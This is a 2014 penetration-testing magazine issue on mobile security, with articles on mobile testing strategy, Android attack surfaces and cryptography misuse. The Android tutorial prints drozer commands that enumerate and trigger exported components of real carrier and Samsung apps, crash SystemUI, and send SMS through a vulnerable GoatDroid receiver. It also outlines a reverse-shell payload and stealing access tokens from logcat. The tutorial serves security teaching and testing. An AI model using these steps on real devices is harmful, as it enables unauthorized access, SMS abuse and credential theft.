Cyber Security Auditing Software

Improve your
Firewall Auditing
As a penetration tester you have to be an expert in multiple
technologies. Typically you are auditing systems installed and
maintained by experienced people, often protective of their own
methods and technologies. On any particular assessment testers may
have to perform an analysis of Windows systems, UNIX systems, web
applications, databases, wireless networking and a variety of network
protocols and firewall devices. Any security issues identified within
those technologies will then have to be explained in a way that both
management and system maintainers can understand.
he network scanning phase of a
penetration assessment will quickly
identify a number of security
weaknesses and services running on the
scanned systems. This enables a tester to
quickly focus on potentially vulnerable
systems and services using a variety of tools
that are designed to probe and examine
them in more detail e.g. web service query
tools. However this is only part of the picture
and a more thorough analysis of most
systems will involve having administrative
access in order to examine in detail how
they have been configured. In the case of
firewalls, switches, routers and other
infrastructure devices this could mean
manually reviewing the configuration files
saved from a wide variety of devices.
Although various tools exist that can
examine some elements of a configuration,
the assessment would typically end up
being a largely manual process. Nipper
Studio is a tool that enables penetration
testers, and non-security professionals, to
quickly perform a detailed analysis of
network infrastructure devices. Nipper
Studio does this by examining the actual
configuration of the device, enabling a much
more comprehensive and precise audit than
a scanner could ever achieve.
www.titania.com

With Nipper Studio penetration testers can be experts in

every device that the software supports, giving them the
ability to identify device, version and configuration
specific issues without having to manually reference
multiple sources of information. With support for around
100 firewalls, routers, switches and other infrastructure
devices, you can speed up the audit process without
compromising the detail.

You can customize the audit policy for your customers

specific requirements (e.g. password policy), audit the
device to that policy and then create the report detailing
the issues identified. The reports can include device
specific mitigation actions and be customized with your
own companies styling. Each report can then be saved
in a variety of formats for management of the issues.
Why not see for yourself, evaluate for
free at titania.com

Ian has been working with leading global

organizations and government agencies to
help improve computer security for more
than a decade.
He has been accredited by CESG for his security and
team leading expertise for over 5 years. In 2009 Ian
Whiting founded Titania with the aim of producing
security auditing software products that can be used by
non-security specialists and provide the detailed
analysis that traditionally only an experienced
penetration tester could achieve. Today Titanias
products are used in over 40 countries by government
and
military
agencies,
financial
institutions,
telecommunications companies, national infrastructure
organizations and auditing companies, to help them
secure critical systems.
www.titania.com

Mobile Pentesting

Copyright 2014 Hakin9 Media Sp. z o.o. SK

Table of Contents
INTRODUCION

08

An Overview on Mobile Security

by Senthilraj Gnanasekar

In todays world smart phones, IPADs and tablets are being used for GPS navigations, Social
networking applications, cross platform mobile messaging, e-mail, Banking payments and
many other applications. Mobile security has not kept pace with traditional computer security.
This article presents concept of mobile security, mobile attacks.

Mobile Security Testing

by Sandeep Chanda and Sridhar Bhamidipalli

13

In this article, we will review the mobile landscape, various security threats, architecture/design
and few examples of tools that a relevant to platforms to handle these threats. This is a basic
article, but effective.

MOBILE PENTESTING

18

PenTesting Mobile

by Longinus Timochenco
Scan or PenTest? Pentest It is an option to study different forms of intrusion that may occur.
But vulnerability and Scan, which performs a system analysis to identify possible failures?
They do not have the same function? Examples of tools PenTest for Mobiles and difference
between PenTest and Scan you will find in this article.

Smartphone PenTest Framework (SPF) Up and Running in Kali Linux

by Bhargav Tandel

Smartphone PenTest Framework is a tool for penetration testing the android smartphone.
Install Smartphone PenTest Framework in Kali Linux step-by step.Also read about Install
Android SDK Tool.

Android InSecurity

by Enrico Bruno Del Zotto

Android has a layer of abstraction (Application Framework) and lacks the native windowing
system, glibc and most of the standard utilities of Linux, which gives it a very unique anatomy.
Article will provide information about the uncertainty on the Android platform and weaknesses
within the application.
4

22
30

Mobile Pentesting

Making Android Phone As Attack Platform

by Vikas Jain

41

This is a tutorial in which you read how to scan a mobile phone using rooted Android Phone.
What is rooting? How install BackTrack on your phone? The answer to this question can also be
found in this article.

CRYPTOGRAPHY
Misuses of Cryptography
by Yuval Nativ

Established in many field cryptography it has been developed for ages and it is being passed
in a constant stage of evolution. In this article read about concepts related to cryptography,
cryptography tools and real uses of cryptography.

Cryptographic Best Practices for Message Level Security

by Pradeep Pundir

Cryptographic best practices dictate that even where confidentiality rather than integrity is the
overriding concern the cipher-text itself should be given integrity protection. Implementing
Message Level Security, Transport Level Security, Message Level Security and integrity
protection of the cipher-test you will learn more about it from this article.

How to Use VEGA in Kali Linux

by Rajesh Kumar

SQL Injections, Cross-Site Scripting (XSS), inadvertently Disclosed sensitive information, and
other vulnerabilities. Testing of web application security with the help of VEGA.

White Paper on Web Application Security Testing & Compliance

by Isha Gupta

50
60
66
73

The Web Appliaction security is a part of Information Security that deals mostly with security
of websites, web applications and web services or whatever used to browse over the web.Web
application security and compliance should be a top priority for enterprise and users.
advertisement

Mobile Pentesting

Dear Readers,

e are proudly presenting you the newest issue Mobile Pentesting! In this issue we will lay a focus
over mobile security, mobile penetration testing and mobile attacks. Moreover, this issue will
supply you with the topics concerning some pentesting tools and software.

An Overview on Mobile Security written by Senthilraj Gnanasekar will open the issue. The article presents
the summary of Top Mobile Security Threats and focuses primarily on mobile security. Next article Mobile
Security Testing was written by two authors Sandeep Chanda and Sridhar Bhamidipalli. We find here an
introduction to specific mobile platforms, inter alia, Android , iOS .
Next articles Android InSecurity and Smartphone Pentest Framework show us how to deal with specific
operating systems. Enrico Del Zotto covers the Android and shows how to configure it, while Bhargav
Tandel focuses on showing step-by-step installation in Linux Kali.
To learn more about the attacks platforms, we recommend you to read an article written by Vikas Jain.
In addition, we placed an article by Yuval Nativ Misuses of Cryptography. This article you can also find on
our blog. It interprets the info about tools and real uses of cryptography.
What is the difference between PenTest Scan and automated security? The answer to this question is
available in the article written by Longinus Timochenko PenTesting Mobile.
Additionally, we have for you a bonus in the form of articles of VEGA in Kali Linux and web applications.
Enjoy reading the magazine!
Magdalena Jaroszewska and PenTest Magazine Team

Editor in Chief: Milena Bobrowska

milena.bobrowska@pentestmag.com
Managing Editor: Magdalena Jaroszewska
magdalena.jaroszewska@pentestmag.com
Editorial Advisory Board: Jeff Weaver, Rebecca Wynn
Betatesters & Proofreaders: Abishek Kar, Phil Patrick,
Steven Wierckx, Krishore PV, Tim Thorniley, Tom Updegrove,
Elia Pinto, Brandon Dixon, Ivan Gutierrez Agramont, Sandesh
Kumar, Pradeep Mishra, Amit Chugh, Johnette Moody, Steven
Hodge, Micha Stawieraj, Kashif Aftab, Jeff Smith, Jordi
Rubio, Mardian Gunawan, Arnoud Tijssen, David Kosorok,
Mbella Ekoume, Viswa Prakash, Michal Jahim.
Special Thanks to the Beta testers and Proofreaders who helped
us with this issue. Without their assistance there would not be
a PenTest magazine.
Senior Consultant/Publisher: Pawel Marciniak
CEO: Ewa Dudzic
ewa.dudzic@pentestmag.com

[ GEEKED AT BIRTH ]

Production Director: Andrzej Kuca

andrzej.kuca@pentestmag.com
DTP: Ireneusz Pogroszewski
Art Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@pentestmag.com
Publisher: Hakin9 Media Sp. z o.o. SK
02-676 Warsaw, Poland
ul. Postepu 17D
Phone: 1 917 338 3631
www.pentestmag.com
Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
concerning the results of content usage.
All trade marks presented in the magazine were used only for
informative purposes.
All rights to trade marks presented in the magazine are
reserved by the companies which own them.

DISCLAIMER!

The techniques described in our articles may only be

used in private, local networks. The editors hold no
responsibility for misuse of the presented techniques
or consequent data loss.

You can talk the talk.

Can you walk the walk?

[ ITS IN YOUR DNA ]

LEARN:
Advancing Computer Science
Artificial Life Programming
Digital Media
Digital Video
Enterprise Software Development
Game Art and Animation
Game Design
Game Programming
Human-Computer Interaction
Network Engineering
Network Security
Open Source Technologies
Robotics and Embedded Systems
Serious Game and Simulation
Strategic Technology Development
Technology Forensics
Technology Product Design
Technology Studies
Virtual Modeling and Design
Web and Social Media Technologies

www.uat.edu > 877.UAT.GEEK

Please see www.uat.edu/fastfacts for the latest information about
degree program performance, placement and costs.

Mobile Pentesting

Mobile Security Testing

by Sridhar Bhamidipalli and Sandeep Chanda
Basically we all know that mobile computing has recently become very ubiquitous., because
today the differences between personal phone and the work related mobiles are blurred as
employees and users use the same device for both purposes.
In this context, the applications we use on the mobile devices are at their most vulnerable stage. The security
model is so much different when compared to a web application or client/server that it warrants a specialized
focus on this topic.
Down the below publication we will review the mobile security landscape, various security threats,
architecture/design and few examples of threat preventing tools. There will be some recommendations of
tools specific to the certain platforms, however this document is agnostic of any mobile platform.

Introduction
For the last 2 years, the number of mobile devices sold worldwide exceeds a billion and around 1 million
applications are available through marketplaces of the mobile platform providers.
Most of the business applications were designed and built for Web. But we also can advance a theory of that
mobile applications gained its handheld usability by the extent of the Client/Server systems, which came
up quickly modified for mobile usage. When mobile applications are not designed from the ground-up and
thoroughly integrated with the mobile landscape, several lapses in security will start showing up frequently.
The testers should fill these gaps in the areas of:
Authentication & Authorization: Ensure the user has the right privileges
Integrity: Trust the data and application behavior
Confidentiality: Take care of the application data must be privately managed
The means of achieving this is by denying several security hacking points like:
Encryption or lack of having one
Input validation both inside and outside application
Prevent snooping by data filtering
Storing authentication tokens in application
Storing critical data on the device
When we are planning the security infrastructure, the business priority has nothing to do with it as data that
might be obtained by a hacker from any of these applications can also have devastating effect.
Mobile security has two major areas:
Mobile Platform/O
Mobile network.
We will explore each of the areas in detail.

Mobile Pentesting

Mobile Security landscape

Mobile Platform/OS
Majority of the mobility platforms today provide a marketplace for Apps that we download into our device
from the hosted space. The following choices are available:
iOS Defined by Apple for their smartphones and tablets and comes with reliable security features
built-in and serve as a good base for the application security. Data encryption is built-in and when the
device passcode is locked, the data stays encrypted, unmodifiable and inaccessible (even to the app).
While this is operated appropriately, please note that this does not help when the device is in use.
Additionally, the OS app area follows a walled garden approach. The applications cannot access
private data without users approval.
Android This platform is somewhat more flexible and developer friendly than iOS, which also means
a high probability of security threats to occur if applications are not defined carefully. The apps use
permissions set for them in a Manifest.XML and developers are free to add or remove permissions. This
makes malware more common and of significant impact on the platform. However, the platform verifies if
malware may be downloaded on the first phase.
Windows Phone Similar to the other platforms Windows phone OS has several security features built-in.
For the prime instance, platform integrity via Secure boot feature. This feature allows only verified apps
and components to execute as well as make the code signed with a Microsoft certificate. Additionally,
Windows phone encrypts both OS and data files. The apps in this platform are also sandboxed, preventing
un-authorized access between applications.
While the platform/OS provides many security features, the applications are in urgent need to set up a
feasible security plan as some of these features can be overridden by User Approval. Hence, the lack of
awareness of the user will be always resulting in security problems.

Mobile Networks
Mobile data networks have their own security protocols and vulnerabilities. Although there are several types
of networks across the world, the following are a few of the most common and usable types:
GSM

GSM networks are the most common ones for carrying mobile communication and transferring data. GSM is
considered to be the most secured network technology, but presumably we can find some gaps and cracks in
the certain security structure fence.
Communication Channel: The encryption does not occur through the complete communication channel,
but only from mobile to the base station.
TMSI: The temporary mobile subscriber ID can be discovered by hackers and falsely approven in many
occasions that can give the data position of the user being off/on.
Authentication: The authentication is only unidirectional. Hence, the user cannot be assured that the
communication he/she receives is really the desired and trusted one.
All in all, GSM is an old established network and has evolved piece-by-piece in the approximately all
security aspects over the years.

Mobile Pentesting
Wi-Fi

One of the most convenient networking protocol in the world, which is used by probably all corporates
across their physical locations. While hackers found Wi-Fi networks easy to break, equal security measures
can be taken to prevent such attacks on the following matters:
Attaching a wireless router to an unsecure switch port can disclose the whole network to undesirable entities
Malicious association appears once soft Access Points are created for general network connection
instead of company access points
Several other issues like DOS, Network injection, MAC Spoofing etc. can affect the network, however,
equal measure of securing are available and recommended for the companies.
Next generation

There are some other newer technologies like LTE and NFC, initially being fixed on their security vulnerabilities.
A mobile application should not just rely on the platform or network features as they all have vulnerabilities
as well. So in fact all the applications have to be tested thoroughly as well as their security plan should be set
up beforehand.

Mobile Application Soft-Spots

Almost all of the enterprise mobile applications are tested on the functional side, but some things are missed
when it comes to penetration testing.
The following is a few soft spots for mobile security breach, which should be factored into testing.
Credentials/Sensitive data on mobile: A hacker or a Malware can easily get access to the sensitive data
stored on the mobile device. Unlike a web application, the possibility of such an attack is much higher.
In Addition, it is relatively easy to reverse engineer the applications hence, no such important data
should be stored on the application/device.
System clean up: Data that is required to be stored in cookies/temp files during application execution must
be cleaned up. Otherwise, this remains as a very easy target for anyone accessing the device.
Data flow: A tester should be able to establish an audit of the data What goes where, who got the access,
and how is it stored.
Data sniffing: Data on the network can be easily sniffed using various tools. This is the only reason why
all data from the device should be encrypted.
Data injection: When user inputs are validated by the application on the device, the inputs are to be
validated again on the server side for unauthorized data injection/modification en route. This will ensure
integrity of the data that comes in.

Mobile Security Testing Strategy

With all the issues we reviewed so far, some are fairly serious while others are easier to manage. No matter
what the vulnerability is, a security testing plan is something that assures the effective prevention of the
loopholes, while repudiating the attacks.

10

Mobile Pentesting
While the security test plan commonly depends on the specific needs of the organization, some critical areas
are also must be examined in every security test plan.
User Access Plan test cases around user access scenarios. Thus, the test process is to be implemented on
the following sections:
Different access levels Expected user access is withheld at different stages of application life cycle.
Jail-breaking/rooting How the application behaves when the device is Jail broke. How does the access
level hold up or fail.
Privilege checks Access to resources (like files, features) is expected to be verified.
Data Input As discussed earlier, inputs must be verified at every stage for integrity as well as expected
source.
User Input should be verified against tampering.
Data could be sniffed over the network, hence, we need to encrypt.
Application execution Plan to test against Network interfaces, communication with other resources,
session management (expirations, integrity)
User session remains until the user logs off or planned timeout occurs.
Provide consistent server side operations for CRUD operations.

Mobile Security Test Plan

The mobile security test plan generally should have a high level structure that encompasses:
Definition of security boundaries and expectations
Threat Modeling
Identify threats and categorize them (with risk rating, probability, impact and mitigation)
Vulnerability evaluation of the application
Reverse engineering of the app code
Source code analysis with tools
Network monitoring
Runtime manipulation of data
Analyze against timestamp of data logs
Plan for specific areas of testing
Are there any financial transactions in the application
Are any non-application resources are modified

11

Mobile Pentesting
Integration points with other systems (outside the mobile device)
Metrics
Load testing for the application
Specifically identify the breaking points
Test for denial of service attacks

Conclusion
Mobile application security is a vast area and It depends a lot on the type of application. Beyond the
functional testing, a separate approach should be done simultaneously to security testing.

About the Author

Sridhar Bhamidipalli has over 16 years of IT industry experience, predominantly in the

areas like Supply Chain (Physical & Digital), CRM and B2B applications using
technologies like .NET, SharePoint and JAVA. His passions include anything Agile and
most recently Mobile technologies. He presently works as a Managing Consultant with
Neudesic. In his spare time, he aspires to spend time with his 2 children, redecorate home
with his wife, read non-fiction books and cook new recipes, there by prove that there are
30 hours per day.

About the Author

Sandeep Chanda is a Director of Solutions at Neudesic, a Microsoft National Systems

Integrator and Gold Certified Partner. He has been working on several Microsoft
Technologies (including but not limited to .NET, Azure, BizTalk, SharePoint and
Dynamics CRM) for the past ten years, building large scale enterprise applications
spanning multiple industries. He is a technology enthusiast and a speaker at various
corporate events and public webinars. He has authored several articles on Microsoft
Dynamics CRM 4.0 in Devx, and is the Author of the books Windows Identity Foundation
Cookbook by PacktPub, and Beginning ASP.NET 4.5 Databases by Apress. Most recently
he has been involved in evangelizing aspects of Application Lifecycle Management
(ALM) and developer collaboration using Team Foundation Server and has been the
speaker on the subject at the Great Indian Developer Summit since 2012. Sandeep holds an MS degree in
Software Systems from BITS, Pilani and his areas of interest include Service Oriented Computing, Cross
Platform Mobility, Pervasive Computing, Haptic Devices and Cloud Computing. He is also the blogger
for the Dev Issues column at Devx http://www.devx.com/blog/dev_issues.

12

Mobile Pentesting

Android InSecurity
by Enrico Bruno Del Zotto
The full article is divided in three parts. The first one is the simplest one. We start with an
android architecture introduction and after we will learn how to exploit the application
framework. At the second part of the article we will finish the application framework with
attack on content provider, sql-injection on android dbs, and some mitm network attacks.
In the third part (more advanced) we will start with a bit of arm asm and we will see how to
write a real android exploit.
Android has a layer of abstraction (Application Framework) and lacks the native windowing system, glibc
and most of the standard utilities of Linux, which gives it a very unique anatomy.

Figure 1. Android structure

Android is built on a Linux kernel with a few additional drivers to support power management and the
various features often found on smartphones, things like WiFi, GPS and a camera. These kernel drivers set
the foundation for Androids first primary security feature, a virtualized runtime environment known as
Dalvik. [1]
As the base for a mobile computing environment, the Linux kernel provides Android with several key
security features, including: -A user-based permissions model, -Process isolation, -Extensible mechanism
for secure IPC, -The ability to remove unnecessary and potentially insecure parts of the kernel. As
a multiuser operating system, a fundamental security objective of the Linux kernel is to isolate user
resources from one another, which is strongly uprooted in Linux security philosophy. Thus, Linux:
13

Mobile Pentesting
-Prevents user A from reading user Bs files, -Ensures that user A does not exhaust user Bs memory,
-Ensures that user A does not exhaust user Bs CPU resources, -Ensures that user A does not exhaust
user Bs devices (e.g. telephony, GPS, bluetooth). The Android OS is architected as a specific platform,
where every new application launches in its own unique instance of Dalvik. This is a really nice security
feature, because it prevents applications from undesired access or provide you with the awareness of
other applications, which are also executing on a device. This technique creates a secure execution
environment and prevents data leakage between applications. The Dalvik VM interacts with a number
of core libraries, which enables functionality for the application running within. But how is the access
to various functionalities controlled? This brings us to the next major security element of the Android
OS the permissions model. Permissions are requested by an application during the installation process
and it is giving access to various features and functionalities on a device. Currently there are 124 unique
permissions, which are categorized into 11 top level groups. The permission model is a viable security
feature because it

Figure 2. App permissions

forces developers to explicitly ask for the specific functionalities needed for their application to run properly.
These permissions are displayed before any application is installed onto the system and can also be viewed
post installation. The downfall is that users cannot understand all 124 permissions or the associated risks
with a few specific permissions.

14

Mobile Pentesting

Figure 3. Mobile devices security threats

In this article well cover some tecniques for the application framework and application layers in order to
give an oreview over the real Android Application Security surface.

Lets start
To start in Android p.t. appropriately, you have to install the SDK,NDK,and some other important tools
like drozer (well use it in our exemples).Drozer was developed at mwrinfosecurity@uk (https://www.
mwrinfosecurity.com/products/drozer/) and helps to reduce the time taken for Android security assessments
by automating the tedious and by using flexible, pre-written modules to perform common tasks, and also
execute dynamic code on a device, because we do not intend to compile and install small test scripts. [2]
15

Mobile Pentesting

Figure 4. Drozer structure

Drozer (formerly Mercury), provides some tools, which assist you in using and sharing public Android
exploits. It helps you to deploy a drozer agent by using weasel MWRs advanced exploitation payload. Its
composed by three different macro parts: A server, a console, and an agent. The console provides modules
that are running on the connected device to detect and exploit vulnerabilities. The agent allows the console
to interact with a device, it provides a simple interface for execution of acode pushed by the console, so all
of the heavy lifting is done by the console and modules. It is to be installed on the android device for further
analysis. The drozer Server catches drozer sessions and reverse shells, which were sent by exploit payloads;
it serves the www exploit page for browser exploits and can communicate in 3 protocols: http, drozerp, shell.
Exploit modules dynamically push new resources to the web server [3]
Weasel is a binary created in Android NDK in C language and provides 3 weasels: INSTALL_
PACKAGES, app_process, JAR loading. The shells are sent respectively (privileged_weasel(), sneaky_
weasel() and defeated_weasel() methods). Weasel does the following stages: connect to the drozer server,
sends the weasel, dup2()s stdin/stdout/stderr to netwrok socket and EXECVE(/system/bin/sh). The server
responds with Echo weasel binary into /data/data/... and run weasel.For other information go to (https://
www.mwrinfosecurity.com/products/drozer/).
When you have installed the agent onto your device/or emulator and youve opened it, then you can connect
from your client by using the command shown in the Figure 5, and have a list of modules writing list

16

Mobile Pentesting

Figure 5. Drozer settings

Figure 6. Drozer starting

Enumaration on Application surface

Get the list of installed packages:
dz> run app.package.list

17

Mobile Pentesting
Get the info of a packages:
dz> run app.package.info -a com.vodafone.vodafone360updates

The list of the activities of some packages. We will now only consider vulnerabilities exposed through
Androids built-in mechanism for Inter-Process Communication (IPC). These vulnerabilities typically result
in the leakage of sensitive data to other apps installed on the same device. [4]
dz> run app.package.attacksurface
Attack Surface:
8 activities exported
3 broadcast receivers exported
2 content providers exported
0 services exported

com.vodafone.vodafone360updates

So we want now to know which activities this app exported:

dz> run app.activity.info -a com.vodafone.vodafone360updates
Package: com.vodafone.vodafone360updates
com.vodafone.vodafone360updates.gui.activity.AllServicesActivity
com.vodafone.vodafone360updates.gui.activity.AllEmbeddedServicesActivity
com.vodafone.vodafone360updates.gui.activity.PersonaActivity
com.vodafone.vodafone360updates.gui.activity.CampaignActivity
com.vodafone.vodafone360updates.activity.ApplicationDetails
Permission: com.vodafone.vodafone360updates.permission.SHOW_ACTIVITY
Target Activity:
com.vodafone.vodafone360updates.gui.activity.ApplicationDetailsActivity
com.vodafone.vodafone360updates.activity.AllServices
Permission: com.vodafone.vodafone360updates.permission.SHOW_ACTIVITY
Target Activity: com.vodafone.vodafone360updates.gui.activity.AllServicesActivity
com.vodafone.vodafone360updates.activity.InstallApplication
Permission: com.vodafone.vodafone360updates.permission.SHOW_ACTIVITY
Target Activity: com.vodafone.vodafone360updates.gui.activity.ConfirmationActivity
com.vodafone.vodafone360updates.gui.activity.MainMenuActivity
Target Activity: com.vodafone.vodafone360updates.gui.activity.AllServicesActivity

And for example run an activity exported (You can view the information of your samsung account and
change the password without sigin).
dz> run app.activity.start --action android.intent.action.MAIN --category
android.intent.category.LAUNCHER --component com.osp.app.signin
com.osp.app.signin.AccountinfoView

Now we want the list of content providers of this package:

dz> run app.provider.info -a com.vodafone.vodafone360updates
Package: com.vodafone.vodafone360updates
Authority: com.vodafone.vodafone360updates.catalogue
Read Permission: null
Write Permission: null
Content Provider: com.vodafone.vodafone360updates.provider.CatalogueProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
Authority: com.vodafone.vodafone360updates.status
Read Permission: null
Write Permission: null
Content Provider: com.vodafone.vodafone360updates.provider.StatusProvider
Multiprocess Allowed: False
Grant Uri Permissions: False

18

Mobile Pentesting
And now were enumerating the services of an app:
dz> run app.service.info -a com.vodafone.smhs
Package: com.vodafone.smhs
com.vodafone.smhs.services.HtcFeedService
Permission: null

And now the broadcast receivers:

dz> run app.broadcast.info -a com.vodafone.smhs
Package: com.vodafone.smhs
Receiver: com.vodafone.smhs.SMHSDashboardProvider
Receiver: com.vodafone.smhs.receivers.PhoneStatusBroadcastReceiver
Receiver: com.vodafone.smhs.receivers.PackageBroadcastReceiver
dz>

Exploiting on Application surface

As aforementioned above, applications are protected via the Android sandbox, which is just another way
of saying that each application is assigned a user ID and only inherently has access to its own resources.
Android introduced mechanisms to keep apps from abusing each others components and data; Every time
an application requires a permission, it may mean that the related UID is assigned to a corresponding GID.
For example, android.permission.INTERNET, which is mapped to the inet group. Any application granted
with this permission will be placed in the inet group. Applications often consist of many instances of the
classic application components, services, content providers, activities, and broadcast receivers. To protect
these components from malicious or any unintentional harmful influence, application developers mitigate
the risk, which their applications might get the user involved in. Lot of developers put in logcat some debugs
messages, and we could try to find it starting from:
> adb logcat *:E

(in this case we are logging only the error messages), start a fuzzing tap clicker and send event attached to
our package:
>adb shell monkey -p flipboard.app -v 1000

In this manner well see our application randomly tapped and well log all events searching for some useful
strings in the logcat. A facebook vulnerability (http://blog.parse.com/2012/04/10/discovering-a-majorsecurity-hole-in-facebooks-android-sdk/) was detected in the described manner. The Parse android sdk log
the facebook accesstoken. Logcat is public tool, that is why we could search for access token and send it to a
place (e-mail or something else) in order to use it for a mitm attack.
A good way to proliferate information about application and their components is to eavesdrop on interapplication communication. One way you could do this is to request the information about the most recent
intents from the activity manager. [5]
You can download (https://www.isecpartners.com/tools/mobile-security/intent-sniffer.aspx) and see the
informations about recent intents:

19

Mobile Pentesting

Figure 7. Intent sniffer running

With all information we got, try to make some more concrete basis to proceed.
In the second part we will see an example of how to attack services, broadcast receiver and content providers
extracting data from vulnerable contents.

Attacking services
A Service is an application component that can perform long-running operations in the background and
does not provide a user interface. Another application component can start a service and it will continue to
run in the background even if the user switches to another application. Additionally, a component can bind
to a service to interact with it and even perform interprocess communication IPC). For example, a service
might handle network transactions, play music, perform file I/O, or interact with a content provider, all from
the background. [6]
Trying to send crafted data to a service, as an intent without data or some other things you could have
strange results.
20

Mobile Pentesting
Expecially if you can decompile the code and you could understand what a service is expected to have.
For example in OWASP GoatDroid project. We have this service:
<service android:name=.services.LocationService >
<intent-filter>
<action android:name=org.owasp.goatdroid.fourgoats.services.LocationService />
</intent-filter>
</service>

If you have the source code [7] you could see the above action processing that if you have started the service,
and some preferences are settled. Then you can give the location of the user every tot second, and if this
position is written in a vulnerable content provider or in a file, you could read it without having no permission.
This is an example of a service started with a null metadata/extra data fields.
dz> run app.service.start -component com.android.systemui com.android.systemui.PhoneSettingService

And the UI will crash.This is an example of DOS attack. (Figure 8)

Figure 8. Ui stopped on Galaxy 3 mini

Attacking Broadcast Receiver

A broadcast receiver (short receiver) is an Android component which allows you to register for system or
application events. All registered receivers for an event are notified by the Android runtime once this event
happens.For example, applications can register for the ACTION_BOOT_COMPLETED system event which is fired once
the Android system has completed the boot process.A receiver can be registered via the AndroidManifest.
xml file.Alternatively to this static registration, you can also register a receiver dynamically via theContext.
registerReceiver() method.If the event for which the broadcast receiver has registered happens, the
onReceive() method of the receiver is called by the Android system.

21

Mobile Pentesting

Attacking Content Providers

As with the previous recipes, here we are going to see a sample of a classic vulnerable broadcast receivers.
The following sample, too, is from the OWASP GoatDroid project (https://www.owasp.org/index.php/
Projects/OWASP_GoatDroid_Project)
<receiver
android:name=.broadcastreceivers.SendSMSNowReceiver
android:label=Send SMS >
<intent-filter>
<action android:name=org.owasp.goatdroid.fourgoats.SOCIAL_SMS />
</intent-filter>
</receiver>
</application>
<uses-permission android:name=android.permission.SEND_SMS />
<uses-permission android:name=android.permission.CALL_PHONE />
<uses-permission android:name=android.permission.ACCESS_COARSE_LOCATION />
<uses-permission android:name=android.permission.ACCESS_FINE_LOCATION />
<uses-permission android:name=android.permission.INTERNET />
</manifest>

The key issue in the code is that this application will be granted the android.permission.SEND_SMS permission
while leaving its .SendSMSNowReceiver vulnerable receiver, without the protection of appropriate permissions
and exposed to other applications.
This is not all there is to these kinds of vulnerabilities; there is another part. Just because the receiver leaves
other applications to interact with it doesnt necessarily mean that its exploitable; to verify whether its
exploitable, you can actually try sending to the broadcast in the intent some data, or better if you can read the
source code (disassembled or not ) In this case (https://github.com/jackMannino/OWASP-GoatDroid-Project/
blob/master/OWASP%20GoatDroid-%20FourGoats/src/org/owasp/goatdroid/fourgoats/broadcastreceivers/
SendSMSNowReceiver.java). The following is the code that determines how the receiver handles the org.
owasp.goatdroid.fourgoats.SOCIAL_SMS actions:
public void onReceive(Context arg0, Intent arg1) {
context = arg0;
SmsManager sms = SmsManager.getDefault();
Bundle bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString(phoneNumber), null,
bundle.getString(message), null, null);
Utils.makeToast(context, Constants.TEXT_MESSAGE_SENT, Toast.LENGTH_LONG);
}

The key issue in the code is that the receiver takes values straight from the bundle object without first
checking the calling application or the values being supplied and plugs it into a sendTextMessage call.
This basically means any application will be able to send arbitrary, uncontrolled SMSs.
The sintax in order to send something to a b.r.:
dz> run app.broadcast.send -action [ACTION] -category [CATEGORY] -component [PACKAGE
COMPONENT] data-uri [DATA_URI] extra [TYPE KEY VALUE] flags [FLAGS*] mimetype
[MIMETYPE]

In our console with this command we could send som sms without having the permissions:
dz> run app.broadcast.send -action org.owasp.goatdroid.fourgoats.SOCIAL_SMS -component
org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver -extra string
phoneNumber 1234567890 -extra string message 31337

22

Mobile Pentesting

Conclusions
In this first part of the android insicurity article we have seen some insecurity aspects of android platform,
how to enumerate vulnerabile things in tha application framework, in the second part we will investigate
into the second part of application framework, and we will explain some attack in the network layer for the
android platform.

References

[1] http://www.webroot.com/shared/pdf/Android-Malware-Exposed.pdf
[2] https://www.mwrinfosecurity.com/products/drozer/
[3] https://labs.mwrinfosecurity.com/system/assets/502/original/mwri_drozer-users-guide_2013-07-25.pdf
[4] https://www.mwrinfosecurity.com/system/assets/559/original/mwri_drozer-users-guide_2013-09-11.pdf
[5] http://my.safaribooksonline.com/book/networking/security/9781782167167/4dot-exploiting-applications/ch04s04_html
[6] http://developer.android.com/guide/components/services.html
[7] https://github.com/jackMannino/OWASPGoatDroidProject/blob/master/OWASP%20GoatDroid%20FourGoats/src/org/
owasp/goatdroid/fourgoats/services/LocationService.java

About the Author

My passion is security all aspects derived from this. Apart geek life,my kung-fu is
volleyball and my friends. I worked as penetration tester and admin and after a period of
my life in other topics (consultant) currently im mobile developer in the north east of
Italy but im looking for a company in order to work fulltime in security.

advertisement

Reduce Time, Reduce Cost, Reduce Risk

EMBEDDED LINUX

Design, Development, and Manufacturing

Embedded Software Design Services
Our embedded design expertise, coupled with our systems design skills, allows us to deliver products that
are leading edge as well as solid and robust. Embedded DSP/uC designs including embedded Linux, TI
DaVinciTM DVSDK, as well as PC based Linux systems are within our portfolio.
For more information, contact us at
sales@css-design.com
402-261-8688

www.css-design.com
Communication Systems Solutions

6030 S. 58th St. STE C

Lincoln, NE 68516

402.261.8688

Mobile Pentesting

Misuses of Cryptography
by Yuval tisf Nativ
Cryptography is a well-established field. It has been developed for ages and it is being
passed in a constant stage of evolution. From the ancient days of transformation algorithms
with basic security concepts to the ECC and RSA, cryptography has proven as a main (if not
the only) mean for privacy and security. Certainly, we all use its techniques nowadays.
Although we have verycloseto unbreakable algorithms, we also may hear, that companies (even big ones)
are being hacked all the time and the data is stolen. We can hear, that SSL decryption and signature are
compromised along with standard protocols that utilize AES, which got broken too. Then, how can this occur?
On the following article we will try to cover the basic and common mistakes of the implementation of
different cryptography methods being implemented on different services and products. We will also learn
how the basic misunderstanding of the information security concepts and cryptography has impacted all of
us and and its influence will probably just increase with the time. Hopefully, the readers of this article are
already informed to the issues at hand or have gained a better understanding of others mistakes, which made
them succeed in implementing cryptography onto different systems.

Issues of the Day

In todays world we have shifted an important concept of mind without really thinking about the usage of
free services such as Gmail, Facebook, LinkedIn, Twitter or many others, where we are not really getting
a free service. We are bartering. These companies have a very clean and coherent business model. They will
provide a good service, which individuals would certainly use and take our information for selling out. It is
well stated in any EULA (The End User License Agreement) and you may find privacy related sections to
the Privacy Agreements which none of us actually read. This is not to say that they are evil or providing its
services without any common morality principles.
Some of these companies have even showed very high morality when faced with requirements to hand over
too much information (as in the case of LavaBit, which we will refer to later on). This comes up to remind us
of a new privacy concern, which a lot of us have forgotten.
The paragraph above is not to deal with issues of privacy or appealing for denial from the services. You can
use all of them (for example, I have a Gmail, Facebook and LinkedIn accounts).
However, you should be aware of the information you upload to these companies servers.

